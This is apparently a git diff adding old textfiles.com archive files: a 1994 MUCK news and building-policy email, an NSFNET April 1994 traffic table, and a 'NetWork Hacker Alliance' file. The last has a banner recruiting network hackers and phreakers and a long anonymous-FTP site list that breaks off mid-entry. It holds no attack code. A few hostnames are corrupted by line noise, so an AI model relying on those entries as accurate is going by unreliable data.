qmail + ID ; + Wed, 10 Aug 1994 23:17:11 -0400 (EDT) +Received: from ccon-weh.weh.andrew.cmu.edu via qmail + ID ; + Wed, 10 Aug 1994 23:17:09 -0400 (EDT) +Received: from BatMail.robin.v2.14.CUILIB.3.45.SNAP.NOT.LINKED.ccon.weh.weh.andrew.cmu.edu.sun4m.412 + via MS.5.6.ccon-weh.weh.andrew.cmu.edu.sun4c_411; + Wed, 10 Aug 1994 23:17:09 -0400 (EDT) +Message-ID: +Date: Wed, 10 Aug 1994 23:17:09 -0400 (EDT) +From: Shawn Clayton Knight +To: Tyagi +Subject: news file +Status: OR + + Divination Web News +================================================================ + Updated 9 August 1994 + + We are now running Foxen's MUFPage 2.40 with page #mail and + lots of other features! Type 'page #help' for info. +---------------------------------------------------------------- + News Subtopics + +BldgPolicy Building Management +================================================================ +~~~ +index +The following news topics are available. Type 'news ' where + is one of the list below to view the news. + +BldgPolicy +Building +Management +~~~ +Building +Building Guide + +All of the following can be referenced by 'help '. + + +Reference + +ex (examine) - used to peruse construction in detail +l (look) - to see desc fields on objects +@owned - used to view a list of owned objects +@quota - obtain a breakdown of current project quota status + +Construction + +@dig - make a room +@open - make an exit +@link - connect one object to another + (thing/player + room => set home; exit + room => destination) + +For more, see 'news Building2'. + +~~~ +Building2 +Textfields + +edit = ;// + changes the text of a field + +detail : [;tag2;tag3;...] = + adds tags to an object which may be seen with look + +@desc (@describe) - what is seen by look +@succ (@success) - what occurs to a character when obj is used +@osucc (@osuccess) - what is seen by others when an obj is used +@fail - what happens to a character when failing to use an obj +@ofail - what is seen by others when a character fails to use an obj +@drop - what a player sees when an obj is drop'd +@odrop - what is seen by others when an obj is drop'd +@name - sets the name of an obj + +For more, see 'news Building3'. + +~~~ +Building3 +Miscellaneous Commands + +@lock - keeps access to obj limited to a designated key + +@project - designate or identify the current construction project + + - an exit @lock'd with fail and ofail fields designed to + simulate an activity/action + +For more, see 'news Building4'. + +~~~ +Building4 +Objects of Import + +me - the builder +here - the room in which the builder stands +number (#) - the identifying number (PID) of any obj + + +Other Topics + +Communication - various commands for talking +Transportation - various commands for moving about +Purpose - description of why DWII is here +Networking - ideas for how to make connections + +~~~ +bpolicy|bldgpolicy +Divination Web Building Policy + +0.0 Introduction + +In order to maintain the quality and focus of Divination Web, a policy +for Builder-bit (B-bit) dispensation and project construction has been +instituted. This includes specific quotas and processes of proposal +and review. + + +1.0 Quotas +So as to minimize impact upon the DWII database and preserve prompt +response-time, a quota system has been installed with the following +limitations: + +General Players: 0 objects +Muckers and Builders without a project: 5 objects +Default builders with projects: 150 objects + +'Coins', the currency whereby building may proceed, are effectively +useless and we may find some way of allowing people to increase their +own cache. + +Type 'news bpolicy2' for more. +~~~ +bpolicy2 +1.1 Quota Increase Request +If a Builder desires a greater quota, they can contact a B-manager +familiar with their project. At that time they should provide an +explanation for their request. Generally the 150 object maximum +will remain firm except under unusual circumstances. + + +2.0 Proposal Process (Getting B-bits) +In order to be able to build on DivWeb one must first procure a B-bit, +and these are dispensed by the B-managers: + +Hsi.Wang.Mu (tyagi@houseofkaos.abyss.com) +Shawn (knightster+@cmu.edu) + +Email a proposal to one of the B-managers and await a response. + +Type 'news bpolicy3' for more. +~~~ +bpolicy3 +2.1 Proposal Contents +This Muck has very specific goals and purposes which include +networking and experimentation within the subject fields of occultism +and spirituality. In order to serve these, a loose restraint has been +placed upon building projects. + +In general, a proposal should contain thematic orientation and at +least a vague concept of structure. Estimates on the number of +objects to be used and a building schedule are also valuable. +Ultimately it is up to the B-managers whether or not they wish to +sponsor a proposed project, for to do so indicates their assumed +responsibility for the review and expedition. + +2.3 Proposal Review +Each proposal will be reviewed by B-managers and should any of them +desire to sponsor the project, they will coordinate with the new +Builder on a quota and review schedule. + +Should such sponsorship not be forthcoming, then suggestions for +revision or a request for additional information will be returned. + +Type 'news bpolicy4' for more. +~~~ +bpolicy4 +3.0 Review Process +In order to facilitate efficient use of database resources and to +preserve the enjoyment of players, periodic reviews will be scheduled +on all building projects currently underway. + +3.1 General Review Guideline +The following is intended as a guideline rather than a strict +standard, and a review schedule may be conducted differently by a +B-manager based on specific project complexity and/or character. + +3.2 Suggested Timing +Suggested Initial Review: 2 weeks +Periodic Update Reviews: every 2 months + +3.3 Review Criteria +B-managers will be looking at internal consistency (where +appropriate), in comparison with the projected construction schedule. + +Type 'news bpolicy5' for more. +~~~~ +bpolicy5 +It is suggested that projects be broken into sectors, with regular +completion of a specified sector prior to each review. The size of +each sector is left to the discretion of the Builder to be based upon +available time and expertise. + +3.4 Review Results +A B-manager sponsor or another B-manager who is familiar with the +proposal, quota and schedule for the project will review the whole +with careful scrutiny of any sector designated as 'completed'. +Results from this review will be sent to the Builder and to other +interested B-managers. + +Exits to reviewed and completed sectors will be made visible to the +public. In this way the projects will emerge gradually and the +review process will be kept to a minimum of effort. + +Type 'news bpolicy6' for more. +~~~ +bpolicy6 +3.5 Corrections +If there are problems within a sector which was planned to have been +'completed', then the Builder and their sponsor B-manager can work +together to resolve these problems and get the sector open to the +public. An acceptable means of dealing with these problems would +be to revise the time-schedule and set a new review date. + +3.6 Warnings +Given severe delays and the lack of logging in (e.g. 180+ days), +Builders may receive a warning that their project and properties +are to be recycled unless management is contacted within one +week. If no such communication is received within that week, +then their unfinished project is subject to recycling by the +management. +~~~ +management +Divination Web is operated and managed by: + +Caledhaearn (hoffman@curly.red-cross.org) +- Responsible for managing Mucker bits and projects. + +Hsi.Wang.Mu (tyagi@houseofkaos.abyss.com) +- Responsible for managing Builder bits and projects. + +Shawn (knightster+@cmu.edu) +- Responsible for maintaining the MUCK server. + +All managers are able to assist the others with their work, so if you +can't find the manager you're looking for, contact the others. +~~~ + + + + + +Shawn C. Knight/knightster+@cmu.edu |"Magus Perde, take your hand from off the +Box 4498, 5115 Margaret Morrison St.|chain; loose a wish to still the rain, +Pittsburgh, PA 15213 (412) 862-2232 |the storm about to be ..." - Jethro Tull + + + diff --git a/textfiles.com/internet/nfs494.hi b/textfiles.com/internet/nfs494.hi new file mode 100644 index 00000000..6c26da8a --- /dev/null +++ b/textfiles.com/internet/nfs494.hi @@ -0,0 +1,62 @@ + /nsfnet/statistics/1994/nsf-9404.highlights + + + NSFNET Traffic Distribution Highlights + + April 1994 + + Packet Total: 71,504,084,850 + + Byte Total: 14,312,300,661,250 + + + Service Name Port Rank Packet Count % Pkts Rank Byte Count % Byts + ============ ==== ==== ============ ====== ==== ============= ====== + ftp-data 20 1 14286741050 19.980 1 5147611589100 35.966 + telnet 23 2 9444201400 13.208 5 713408469100 4.985 + nntp 119 3 6383800650 8.928 2 1414649341550 9.884 + smtp 25 4 5975519100 8.357 4 987015295950 6.896 + domain 53 5 3592721550 5.024 8 348055152150 2.432 + ip -4 6 3131398200 4.379 3 1131177966350 7.904 + icmp -1 7 2483635400 3.473 9 239643571000 1.674 + www 80 8 2035281650 2.846 6 671950150550 4.695 + irc 6667 9 2014790500 2.818 10 214426192850 1.498 + gopher 70 10 1872741250 2.619 7 517625278950 3.617 + ftp 21 11 1328460450 1.858 13 120505256900 0.842 + X0 6000 12 601919600 0.842 12 138427883550 0.967 + vmnet 175 13 462314050 0.647 11 171395634300 1.198 + talk 517 14 383141750 0.536 15 39653131900 0.277 + login/who 513 15 330094700 0.462 17 37969636400 0.265 + (unknown) 1023 16 322965000 0.452 16 39096402100 0.273 + finger 79 17 228394500 0.319 20 25640733400 0.179 + snmp 161 18 219812150 0.307 22 24748509900 0.173 + ntp 123 19 167267950 0.234 31 12474847850 0.087 + (unknown) 1022 20 154160600 0.216 23 23475024000 0.164 + cmd/syslog 514 21 129004050 0.180 14 46208888400 0.323 + efs/router 520 22 118963350 0.166 24 22688963350 0.159 + netrjs-1 71 23 101075150 0.141 18 35930059400 0.251 + (unknown) 1021 24 98041500 0.137 28 16267595700 0.114 + unidata-ldm 388 25 84116200 0.118 21 25633826150 0.179 + ipx 213 26 71860500 0.100 19 28032945250 0.196 + (unknown) 1020 27 70680200 0.099 32 12380013900 0.086 + uucp 540 28 70455350 0.099 27 17454230350 0.122 + auth 113 29 69655200 0.097 49 2954274600 0.021 + ntalk 518 30 58828150 0.082 41 6279256050 0.044 + z39.50 210 40 31726150 0.044 35 8804924950 0.062 + X1 6001 78 4356700 0.006 82 780545700 0.005 + X3 6003 83 3770600 0.005 107 381247600 0.003 + shilp/sun-nfs 2049 86 3577500 0.005 95 539980600 0.004 + iso-ip -80 122 1215750 0.002 109 367355600 0.003 + X2 6002 131 1135400 0.002 151 160895900 0.001 + prospero 191 203 410200 0.001 105 395196550 0.003 + + Ordered by decreasing packet counts, this table includes the top 30 + services and highlights other selected services. + + Information for this report is available only for TCP/UDP port + numbers 0-1023, 2049, 6000-6003, 6667, and all Internet Protocols + (differentiated from TCP/UDP ports by negating the protocol number). + + More detailed information is available for Anonymous FTP from + NIC.MERIT.EDU (the Merit NIC Services machine) in the file + "nsf-9404.ports" on the nsfnet/statistics/1994 directory. diff --git a/textfiles.com/internet/nha-003.txt b/textfiles.com/internet/nha-003.txt new file mode 100644 index 00000000..74cedd71 --- /dev/null +++ b/textfiles.com/internet/nha-003.txt @@ -0,0 +1,3015 @@ + ___ ___ ___ ___ ___________ + | \ | |\ | |\ | |\ | |\ + | \ | | | | | | | | | | ___ | | + | \ | | | | |_|_| | | | |\ _| | | + | \| | | | | | | |_|_| | | + | |\ | | | ___ | | | ___ | | + | | \ | | | |\ _| | | | |\ _| | | + | | |\ | | | | | | | | | | | | | | + | | | | | | | | | | | | | | | | | | + |___| | |___| | |___| | |___| | |___| | |___| | + \___\| \___\| \___\| \___\| \___\| \___\| + + - A Production of the NetWork Hacker Alliance INC - + + PreZidents:Inphiniti & Code of Honor & Cobra + + NHA Member Boards Listing + +=+=+=+=+=+=+=+=+=+=+=+=+ + +---------------------+---------------+-------------+---------+ + | Inphiniti's Edge | 216-662-5115 | NHA *WHQ* | NoT | + | Project Phusion | 301-365-9249 | NHA Node 1 | NoT | + | Realm of Chaos | 516-466-8259 | NHA Node 2 | Ex-NASTY| + +---------------------+---------------+-------------+---------+ + + + NHA is now accepting applications.. If you are intrested + and knowledgable in the Hacking of Networks and Phreaking + etc, please call your fine H/p bbs system and download + 'NHA-APP.TXT' and upload it to Inphiniti's Edge. + + + +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ +FTP is really very simple to use, for those of you that dont know how to use FTP +you really will think its cool all you have to do is type "FTP" at the "$" +prompt and when it says FTP> or on some it might have a * just type help and on +other type "?" here is all the sites you can connect to ... +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ +a.cs.uiuc.edu 128.174.252.1 TeX, dvi2ps, gif, texx2.7, + a.cs.uiuc.edu amiga, GNUmake, GNU + a.cs.uiuc.edu 08/22/90 5 anonymous/odin@pilot.njin.net +a.psc.edu 128.182.66.105 GPLOT, GTEX + a.psc.edu 128.182.65.1 + a.psc.edu 12/31/90 4 anonymous/odin@pilot.njin.net +aarnet.edu.au 130.56.4.16 Australian AARNET network + aarnet.edu.au stats + aarnet.edu.au 01/03/91 -12 anonymous/odin@pilot.njin.net +ab20.larc.nasa.gov 128.155.23.64 amiga, comp.sources.amiga, + ab20.larc.nasa.gov comp.binaries.amiga + ab20.larc.nasa.gov 04/01/91 4 anonymous/odin@pilot.njin.net +acd.ucar.edu 128.117.32.1 unknown + acd.ucar.edu 03/17/91 6 anonymous/odin@pilot.njin.net +acfcluster.nyu.edu 128.122.128.11 VMS UUCP, news, DECUS library + acfcluster.nyu.edu 128.122.128.17 catalog, vsmnet.sources, + acfcluster.nyu.edu 128.122.128.16 info-vax code segments + acfcluster.nyu.edu 01/02/91 4 anonymous/odin@pilot.njin.net +acns.nwu.edu 129.105.49.1 virus info/programs, maps + acns.nwu.edu 05/15/90 5 anonymous/odin@pilot.njin.net +acorn.cs.brandeis.edu 129.64.3.8 unknown + acorn.cs.brandeis.edu 12/31/90 5 anonymous/odin@pilot.njin.net +acsc.acsc.com 143.127.0.2 unknown + acsc.acsc.com 04/24/91 7 anonymous/odin@pilot.njin.net +addvax.llnl.gov 128.115.19.32 GNU Emacs + addvax.llnl.gov 02/21/91 7 anonymous/odin@pilot.njin.net +admin.viccol.edu.au 139.132.5.1 unknown + admin.viccol.edu.au 03/25/91 anonymous/odin@pilot.njin.net +ads.com 128.229.30.16 internet mailing lists, + ads.com vision-list, info-graphics + ads.com 05/15/90 7 anonymous/odin@pilot.njin.net +aelred-3.ie.org 192.48.115.36 enhanced billing design paper + aelred-3.ie.org 05/15/90 4 anonymous/odin@pilot.njin.net +aeneas.mit.edu 18.71.0.38 GNU emacs, kerberos + aeneas.mit.edu 05/15/90 4 anonymous/odin@pilot.njin.net +aerospace.aero.org 130.221.192.10 minix + aerospace.aero.org 05/31/90 7 anonymous/odin@pilot.njin.net +ahkcus.org 192.55.187.25 unknown + ahkcus.org 04/24/91 5 anonymous/odin@pilot.njin.net +ais.org 141.211.206.16 unknown + ais.org 12/31/90 7 anonymous/odin@pilot.njin.net +aisun1.ai.uga.edu 128.192.12.9 lisp, prolog, natural + aisun1.ai.uga.edu language processing, msdos + aisun1.ai.uga.edu utils + aisun1.ai.uga.edu 03/14/91 4 anonymous/odin@pilot.njin.net +aix.rpi.edu 128.113.26.50 aix/370 tcpip benchmarks + aix.rpi.edu 01/17/91 7 anonymous/odin@pilot.njin.net +aix370.rrz.uni-koeln.de 134.95.80.1 unknown + aix370.rrz.uni-koeln.de 134.95.132.2 + aix370.rrz.uni-koeln.de 03/22/91 anonymous/odin@pilot.njin.net +ajpo.sei.cmu.edu 128.237.2.253 all the ADA you could ask for + ajpo.sei.cmu.edu 05/15/90 4 anonymous/odin@pilot.njin.net +akbar.cac.washington.edu 128.95.112.1 Next + akbar.cac.washington.edu 05/31/90 7 anonymous/odin@pilot.njin.net +albanycs.albany.edu 128.204.1.4 nothing + albanycs.albany.edu 06/18/90 4 anonymous/odin@pilot.njin.net +alcazar.cd.chalmers.se 129.16.48.100 TeX, amoeba, lpmud + alcazar.cd.chalmers.se 08/22/90 -1 anonymous/odin@pilot.njin.net +alex.stacken.kth.se 130.237.237.3 unknown + alex.stacken.kth.se 02/23/91 -2 anonymous/odin@pilot.njin.net +alfred.ccs.carleton.ca 134.117.1.1 unknown + alfred.ccs.carleton.ca 02/23/91 4 anonymous/odin@pilot.njin.net +allspice.berkeley.edu 128.32.150.27 unknown + allspice.berkeley.edu 02/23/91 7 anonymous/odin@pilot.njin.net +allspice.lcs.mit.edu 18.26.0.115 RFCs1056 (PCMAIL) stuff, MIT + allspice.lcs.mit.edu snmp + allspice.lcs.mit.edu 05/15/90 4 anonymous/odin@pilot.njin.net +altdorf.ai.mit.edu 18.43.0.246 c-scheme + altdorf.ai.mit.edu 03/28/91 4 anonymous/odin@pilot.njin.net +alumni.colorado.edu 128.138.243.32 eli, mactivation + alumni.colorado.edu 02/08/91 6 anonymous/odin@pilot.njin.net +alw.nih.gov 128.231.128.251 NIH Image 1.19 + alw.nih.gov 05/15/90 4 anonymous/odin@pilot.njin.net +amarna.gsfc.nasa.gov 128.183.112.2 VAX/VMS VNEWS source + amarna.gsfc.nasa.gov 12/31/90 4 anonymous/odin@pilot.njin.net +amazonas.cs.columbia.edu 128.59.16.72 unknown + amazonas.cs.columbia.edu 12/26/90 4 anonymous/odin@pilot.njin.net +amelia.nas.nasa.gov 129.99.23.5 Perl2.0 Perl3.0 + amelia.nas.nasa.gov 129.99.196.1 + amelia.nas.nasa.gov 08/22/90 7 anonymous/odin@pilot.njin.net +ames.arc.nasa.gov 128.102.18.3 pcrrn, GNU grep, conf, grep, + ames.arc.nasa.gov iso.ps, mmdf, popd, sail, + ames.arc.nasa.gov xfer, zmodem, SCUBA, Space + ames.arc.nasa.gov archives, 3b2 source and info + ames.arc.nasa.gov 07/06/90 7 anonymous/odin@pilot.njin.net +amos.ucsd.edu 128.54.16.43 unknown + amos.ucsd.edu 05/31/90 7 anonymous/odin@pilot.njin.net +andy.bgsu.edu 129.1.1.2 Unix sysadm tools, Unix Vote + andy.bgsu.edu by mail, Unix etc., College + andy.bgsu.edu hockey stats + andy.bgsu.edu 09/22/90 4 anonymous/odin@pilot.njin.net +andy.che.utexas.edu 128.83.162.5 unknown + andy.che.utexas.edu 01/17/91 5 anonymous/odin@pilot.njin.net +anna.stanford.edu 36.14.0.13 Anna (Annotated Ada) software + anna.stanford.edu and docs + anna.stanford.edu 04/07/91 7 anonymous/odin@pilot.njin.net +apocalypse.engr.ucf.edu 132.170.200.67 UCFImage + apocalypse.engr.ucf.edu 04/24/91 4 anonymous/odin@pilot.njin.net +apple.com 130.43.2.2 tech-notes, worm papers + apple.com 05/15/90 7 anonymous/odin@pilot.njin.net +aramis.rutgers.edu 128.6.4.2 idea, RFCs + aramis.rutgers.edu 128.6.25.2 + aramis.rutgers.edu 05/15/90 4 anonymous/odin@pilot.njin.net +archive.egr.msu.edu 35.8.8.177 info-pmdf archive, + archive.egr.msu.edu cmu-tek-tcp + archive.egr.msu.edu 02/06/91 5 anonymous/odin@pilot.njin.net +argus.stanford.edu 36.56.0.151 netinfo + argus.stanford.edu 08/22/90 7 anonymous/odin@pilot.njin.net +ariadne.csi.forth.gr 139.91.1.1 unknown + ariadne.csi.forth.gr 03/31/91 -4 anonymous/odin@pilot.njin.net +ariel.unm.edu 129.24.8.1 university networking ethics + ariel.unm.edu documents + ariel.unm.edu 05/15/90 6 anonymous/odin@pilot.njin.net +arisia.xerox.com 13.1.100.206 sunfixes, mac, LispUsers, + arisia.xerox.com tcp/ip, IDA sendmail kit, + arisia.xerox.com Portable Common Runtime + arisia.xerox.com 08/22/90 7 anonymous/odin@pilot.njin.net +armstrong.cs.buffalo.edu 128.205.32.3 rec.radio.amateur.* archives + armstrong.cs.buffalo.edu 128.205.36.1 + armstrong.cs.buffalo.edu 03/31/91 4 anonymous/odin@pilot.njin.net +arp.anu.edu.au 130.56.4.90 F77 compress + arp.anu.edu.au 12/15/90 -10 anonymous/odin@pilot.njin.net +arthur.cs.purdue.edu 128.10.2.1 RCS, buildtex, deTeX, mac32, + arthur.cs.purdue.edu Purdue Tech Reports, xspeed + arthur.cs.purdue.edu 08/22/90 4 anonymous/odin@pilot.njin.net +ashley.cs.widener.edu 192.55.239.132 unknown + ashley.cs.widener.edu 12/26/90 4 anonymous/odin@pilot.njin.net +askhp.ask.uni-karlsruhe.de 192.67.194.33 unknown + askhp.ask.uni-karlsruhe.de 192.67.194.66 + askhp.ask.uni-karlsruhe.de 04/24/91 anonymous/odin@pilot.njin.net +asuvax.eas.asu.edu 129.219.30.5 fidonet node list + asuvax.eas.asu.edu 07/10/90 6 anonymous/odin@pilot.njin.net +atari.archive.umich.edu 141.211.164.8 unknown + atari.archive.umich.edu 03/17/91 anonymous/odin@pilot.njin.net +atc.boeing.com 130.42.28.80 unknown + atc.boeing.com 04/24/91 7 anonymous/odin@pilot.njin.net +athena.erc.msstate.edu 130.18.80.23 fidonet node list + athena.erc.msstate.edu 07/10/90 6 anonymous/odin@pilot.njin.net +athos.rutgers!KU$H 128.6.4.4 ` ) dvidoc + athos.rutgers.edu 128.6.25.4 + athos.rutgers.edu 05/15/90 4 anonymous/odin@pilot.njin.net +att-in.att.com 192.20.239.129 PSPreviewer + att-in.att.com 05/31/90 4 anonymous/odin@pilot.njin.net +audrey.sait.edu.au 130.220.16.88 unknown + audrey.sait.edu.au 03/31/91 -10 anonymous/odin@pilot.njin.net +augean.ua.oz.au 129.127.4.2 patches for gdb and gas + augean.ua.oz.au 129.127.28.4 + augean.ua.oz.au 06/02/90 -11 anonymous/odin@pilot.njin.net +aupair.cs.athabascau.ca 131.232.4.1 unknown + aupair.cs.athabascau.ca 131.232.10.8 + aupair.cs.athabascau.ca 04/24/91 6 anonymous/odin@pilot.njin.net +aurora.arc.nasa.gov 128.102.21.1 Rhosettastone + aurora.arc.nasa.gov 05/31/90 7 anonymous/odin@pilotn^in.net +avahi.inria.fr 138.96.24.30 xfedor + avahi.inria.fr 08/06/90 -2 anonymous/odin@pilot.njin.net +b.psc.edu 128.182.66.102 GPLOT, GTEX + b.psc.edu 128.182.65.2 + b.psc.edu 12/31/90 4 anonymous/odin@pilot.njin.net +b.scs.uiuc.edu 128.174.90.2 LaTex + b.scs.uiuc.edu 08/22/90 5 anonymous/odin@pilot.njin.net +ba.excelan.com 130.57.8.6 misc. (looking for + ba.excelan.com suggestions) + ba.excelan.com 08/22/90 7 anonymous/odin@pilot.njin.net +babar.mmwb.ucsf.edu 128.218.21.42 unknown + babar.mmwb.ucsf.edu 03/17/91 7 anonymous/odin@pilot.njin.net +bach.cs.umb.edu 192.12.26.23 web2c, TeX stuff + bach.cs.umb.edu 04/11/91 4 anonymous/odin@pilot.njin.net +bbn.com 128.89.0.122 uumap + bbn.com 05/16/90 4 anonymous/odin@pilot.njin.net +bcm.tmc.edu 128.249.2.1 nfs list, Texas UUCP maps + bcm.tmc.edu 05/15/90 5 anonymous/odin@pilot.njin.net +beach.cis.ufl.edu 128.227.224.2 Pink Floyd mailing list + beach.cis.ufl.edu archives + beach.cis.ufl.edu 02/04/91 4 anonymous/odin@pilot.njin.net +belch.berkeley.edu 128.32.152.202 tinymud help robot, tinymuck + belch.berkeley.edu 07/09/90 7 anonymous/odin@pilot.njin.net +belgica.stat.washington.edu 128.95.17.57 unknown + belgica.stat.washington.edu 02/23/91 7 anonymous/odin@pilot.njin.net +bert.cs.byu.edu 128.187.2.20 unknown + bert.cs.byu.edu 12/26/90 7 anonymous/odin@pilot.njin.net +bessel.clsc.utoronto.ca 128.100.104.6 unknown + bessel.clsc.utoronto.ca 02/23/91 4 anonymous/odin@pilot.njin.net +betwixt.cs.caltech.edu 131.215.128.4 unknown + betwixt.cs.caltech.edu 03/22/91 anonymous/odin@pilot.njin.net +bikini.cis.ufl.edu 128.227.224.1 comp.simulation, IBM RT BSD + bikini.cis.ufl.edu patches + bikini.cis.ufl.edu 05/15/90 4 anonymous/odin@pilot.njin.net +biom3.univ-lyon1.fr 134.214.100.42 ACNUC nucleic acid sequences + biom3.univ-lyon1.fr database + biom3.univ-lyon1.fr 02/21/91 -2 anonymous/odin@pilot.njin.net +birger.forut.no 128.39.63.102 IEEE P1157 MEDIX documents + birger.forut.no 04/11/91 -2 anonymous/odin@pilot.njin.net +bison.cs.uwa.oz.au 130.95.1.23 linguistics (computational + bison.cs.uwa.oz.au phonology) + bison.cs.uwa.oz.au 07/17/90 -9 anonymous/odin@pilot.njin.net +bitnic.educom.edu 192.52.179.2 nicbbs archives + bitnic.educom.edu 12/24/90 4 anonymous/odin@pilot.njin.net +bitsy.mit.edu 18.72.0.3 mit worm paper + bitsy.mit.edu 05/15/90 4 anonymous/odin@pilot.njin.net +black.cerritos.edu 130.150.200.21 unknown + black.cerritos.edu 03/17/91 anonymous/odin@pilot.njin.net +blackbox.mit.edu 18.80.0.55 unknown + blackbox.mit.edu 04/24/91 4 anonymous/odin@pilot.njin.net +bmc1.bmc.uu.se 130.238.4.81 VMS news, drivers over + bmc1.bmc.uu.se Decnet, X25 and SLIP for CMU + bmc1.bmc.uu.se TCP/IP v6.3 + bmc1.bmc.uu.se 08/22/90 -2 anonymous/odin@pilot.njin.net +bnlux0.bnl.gov 130.199.128.1 looking for suggestions + bnlux0.bnl.gov 05/15/90 4 anonymous/odin@pilot.njin.net +bobcat.bbn.com 128.89.2.103 nothing + bobcat.bbn.com 08/22/90 5 anonymous/odin@pilot.njin.net +boole.stanford.edu 36.8.0.65 concurrency models, algebra + boole.stanford.edu 04/10/91 7 anonymous/odin@pilot.njin.net +boombox.micro.umn.edu 128.101.95.95 networking stuff (POPmail, + boombox.micro.umn.edu Mailstop) + boombox.micro.umn.edu 08/22/90 7 anonymous/odin@pilot.njin.net +boulder.civ.toronto.edu 128.100.14.11 unknown + boulder.civ.toronto.edu 10/09/90 4 anonymous/odin@pilot.njin.net +boulder.colorado.edu 128.138.240.1 unix-pc, sun, Esperanto, + boulder.colorado.edu 128.138.238.18 ghostscript + boulder.colorado.edu 12/31/90 6 anonymous/odin@pilot.njin.net +brazos.rice.edu 128.42.42.2 pub/X11R3/core.src + brazos.rice.edu 05/15/90 5 anonymous/odin@pilot.njin.net +brillig.cs.umd.edu 128.8.128.79 icons + brillig.cs.umd.edu 10/25/90 4 anonymous/odin@pilot.njin.net +brokaw.lcs.mit.edu 18.30.0.33 pc-omega, bison, scheme util + brokaw.lcs.mit.edu 05/15/90 4 anonymous/odin@pilot.njin.net +brolga.cc.uq.oz.au 130.102.128.5 comp.sources.amiga, + brolga.cc.uq.oz.au comp.sources.games, + brolga.cc.uq.oz.au comp.sources.misc, + brolga.cc.uq.oz.au comp.sources.sun, + brolga.cc.uq.oz.au comp.sources.unix, + brolga.cc.uq.oz.au comp.windows.news, gnu, RFCs, + brolga.cc.uq.oz.au isode, pp + brolga.cc.uq.oz.au 01/17/91 -12 anonymous/odin@pilot.njin.net +brownvm.brown.edu 128.148.128.40 mac, tn3270 + brownvm.brown.edu 08/22/90 4 anonymous/odin@pilot.njin.net +bu.edu 128.197.2.6 RFCs, mail utils + bu.edu 05/15/90 4 anonymous/odin@pilot.njin.net +buacca.bu.edu 128.197.2.4 unknown + buacca.bu.edu 08/22/90 4 anonymous/odin@pilot.njin.net +bugs.nosc.mil 128.49.16.1 Minix, ada math + bugs.nosc.mil 05/29/90 7 anonymous/odin@pilot.njin.net +buhub.bradley.edu 136.176.10.9 u3g (univ. unix users group) + buhub.bradley.edu 03/17/91 anonymous/odin@pilot.njin.net +bull.cs.williams.edu 137.165.5.2 ParaGraph + bull.cs.williams.edu 05/31/90 4 anonymous/odin@pilot.njin.net +bulldog.cs.yale.edu 128.36.0.3 ispell, ease report + bulldog.cs.yale.edu 130.132.1.2 + bulldog.cs.yale.edu 08/05/90 4 anonymous/odin@pilot.njin.net +burdvax.prc.unisys.com 128.126.10.33 diana + burdvax.prc.unisys.com 05/29/90 4 anonymous/odin@pilot.njin.net +byron.u.washington.edu 128.95.48.32 unknown + byron.u.washington.edu 01/17/91 anonymous/odin@pilot.njin.net +c.scs.uiuc.edu 128.174.90.3 adventure, dungeon, world, + c.scs.uiuc.edu some astronomy gifs + c.scs.uiuc.edu 01/02/91 5 anonymous/odin@pilot.njin.net +cadillac.siemens.com 129.73.2.39 unknown + cadillac.siemens.com 04/24/91 4 anonymous/odin@pilot.njin.net +cadvax.clarkson.edu 128.153.4.11 unknown + cadvax.clarkson.edu 08/22/90 4 anonymous/odin@pilot.njin.net +caf.mit.edu 18.62.0.232 giraphe3 + caf.mit.edu 05/29/90 4 anonymous/odin@pilot.njin.net +calpe.psc.edu 128.182.62.148 GPLOT, GTEX + calpe.psc.edu 05/29/90 4 anonymous/odin@pilot.njin.net +casbah.acns.nwu.edu 129.105.113.52 unknown + casbah.acns.nwu.edu 03/22/91 5 anonymous/odin@pilot.njin.net +caticsuf.cati.csufresno.edu 129.8.100.15 Weather/Drought info for + caticsuf.cati.csufresno.edu California, International + caticsuf.cati.csufresno.edu Market Research, public + caticsuf.cati.csufresno.edu telnet login + caticsuf.cati.csufresno.edu 02/21/91 7 anonymous/odin@pilot.njin.net +cayuga.cs.rochester.edu 192.5.53.209 JOVE, NL-KR mail list + cayuga.cs.rochester.edu 09/22/90 4 anonymous/odin@pilot.njin.net +cc.sfu.ca 128.189.32.250 msdos, mac + cc.sfu.ca 08/22/90 4 anonymous/odin@pilot.njin.net +cc.tut.fi 128.214.23.10 unknown + cc.tut.fi 03/17/91 -3 anonymous/odin@pilot.njin.net +cc.utah.edu 128.110.48.3 nothing + cc.utah.edu 12/31/90 6 anonymous/odin@pilot.njin.net +ccadfa.cc.adfa.oz.au 131.236.1.2 unknown + ccadfa.cc.adfa.oz.au 10/09/90 -11 anonymous/odin@pilot.njin.net +ccb.ucsf.edu 128.218.1.13 comp.sources, GNU stuff, + ccb.ucsf.edu sound_list archives + ccb.ucsf.edu 10/30/90 7 anonymous/odin@pilot.njin.net +ccu1.aukuni.ac.nz 130.216.1.5 unknown + ccu1.aukuni.ac.nz 04/24/91 anonymous/odin@pilot.njin.net +ccv1.bbn.com 128.89.4.29 unknown + ccv1.bbn.com 03/17/91 4 anonymous/odin@pilot.njin.net +cdc1.cc.lehigh.edu 128.180.2.7 cybserv + cdc1.cc.lehigh.edu 128.180.2.17 + cdc1.cc.lehigh.edu 09/22/90 -4 anonymous/guest +cecelia.media.mit.edu 18.85.0.104 unknown + cecelia.media.mit.edu 08/22/90 4 anonymous/odin@pilot.njin.net +cerl.cecer.army.mil 129.229.1.101 Pcomm and patches 1-8 + cerl.cecer.army.mil 09/07/90 5 anonymous/odin@pilot.njin.net +cert.sei.cmu.edu 128.237.253.5 virus-l archives + cert.sei.cmu.edu 05/29/90 4 anonymous/odin@pilot.njin.net +chalmers.se 129.16.1.1 RFCs, sunet information (runs + chalmers.se whois server) + chalmers.se 08/22/90 -2 anonymous/odin@pilot.njin.net +chamartin.ai.mit.edu 18.43.0.171 liar, scheme + chamartin.ai.mit.edu 08/22/90 4 anonymous/odin@pilot.njin.net +chaos.swarthmore.edu 130.58.65.3 unknown + chaos.swarthmore.edu 10/09/90 4 anonymous/odin@pilot.njin.net +charly.bl.physik.tu-muenchen.de 129.187.160.10 unknown + charly.bl.physik.tu-muenchen.de 03/17/91 -2 anonymous/odin@pilot.njin.net +charon.mit.edu 18.70.0.224 perl+patches, xdvi, world map + charon.mit.edu data + charon.mit.edu 05/29/90 4 anonymous/odin@pilot.njin.net +chem.bu.edu 128.197.30.18 